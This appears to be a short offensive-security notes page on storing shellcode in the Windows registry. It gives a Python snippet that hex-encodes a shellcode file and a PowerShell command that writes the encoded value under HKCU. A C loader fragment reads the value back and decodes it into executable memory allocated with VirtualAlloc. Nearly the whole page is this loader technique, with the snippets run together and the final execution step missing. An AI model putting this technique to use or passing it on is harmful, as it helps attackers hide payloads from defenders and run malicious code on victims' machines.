Registry Keys
try:
with open(sys.argv[1]) as shellcode:
bytes = bytearray(shellcode.read())
shellcode.close()
except IOError:
print("Error reading file")
print("".join("{:02X}".format(c) for c in bytes))New-ItemProperty -Path "HKCU:\SOFTWARE\regkey" -Name "Name" -Value "ASCIISTRING" -PropertyType String -ForceDWORD dwRegistryEntryOneLen;
DWORD dwAllocationSize = shellcodesize;
LPCSTR lpData = (LPCSTR)VirtualAlloc(NULL, dwAllocationSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
DWORD dwType = REG_SZ;
HKEY hKey = 0;
LPCSTR subkey = "HKCU:\SOFTWARE\regkey";
RegOpenKeyA(HKEY_CURRENT_USER,subkey,&hKey);
RegQueryValueExA(hKey, "Name", NULL, &dwType, (LPBYTE)lpData, &dwAllocationSize);
LPCSTR decodedShellcode = (LPCSTR)VirtualAlloc(NULL,dwAllocationSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
LPCSTR tempPointer = decodedShellcode;
for (int i = 0; i < dwAllocationSize/2; i ++) {
sscanf_s(lpData+(i*2), "%2hhx", &decodedShellcode[i]);
}Last updated